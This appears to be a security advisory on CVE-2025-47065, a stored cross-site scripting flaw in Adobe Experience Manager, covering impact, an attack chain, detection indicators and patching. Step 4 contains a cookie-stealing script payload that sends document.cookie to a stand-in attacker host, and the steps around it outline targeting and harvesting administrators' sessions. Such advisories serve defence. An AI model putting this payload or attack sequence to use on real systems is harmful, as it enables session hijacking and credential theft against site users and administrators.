CVE-2025-47065: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47065 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service releases prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 16, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can inject malicious JavaScript into form fields within AEM that are not properly sanitized or encoded before being rendered in the browser. When a victim navigates to the page containing the compromised field, the injected script executes in their browser context. Exploitation requires network access, low privileges, and user interaction (a victim browsing the affected page), with a changed scope indicating cross-context impact (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance. This can lead to session cookie theft, credential harvesting via keylogging, unauthorized actions performed on behalf of the victim, and potential web page defacement or redirection to malicious sites. While confidentiality and integrity impacts are rated low individually, the changed scope means the attack can affect resources beyond the attacker's own privilege level (Adobe Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly, Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Browse AEM's content authoring interface to locate form fields that accept user input and are rendered without proper output encoding on public or authenticated pages.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save the content.
5. Trigger execution: Wait for or socially engineer a victim (e.g., an administrator or higher-privileged user) to browse to the page containing the injected field, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further unauthorized actions (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• Logs: Browser-side console errors or unexpected outbound requests logged in web application firewalls originating from AEM-served pages.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Unexpected <script> tags or JavaScript URIs stored within AEM's JCR (Java Content Repository) nodes, discoverable via CRXDE Lite or repository queries.
• Process/Application: Unusual session activity for privileged AEM accounts (e.g., admin) immediately following visits to attacker-modified content pages, such as unexpected configuration changes or user creation.

Adobe has released patches addressing this vulnerability: update AEM on-premise to version 6.5.23.0 or later, and update AEM Cloud Service to release 2025.5.0 or later. Organizations unable to patch immediately should implement strict input validation and output encoding on all user-input fields, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and limit the privileges of accounts that can modify content. Regularly auditing content stored in the JCR for unexpected script tags is also recommended (Adobe Advisory).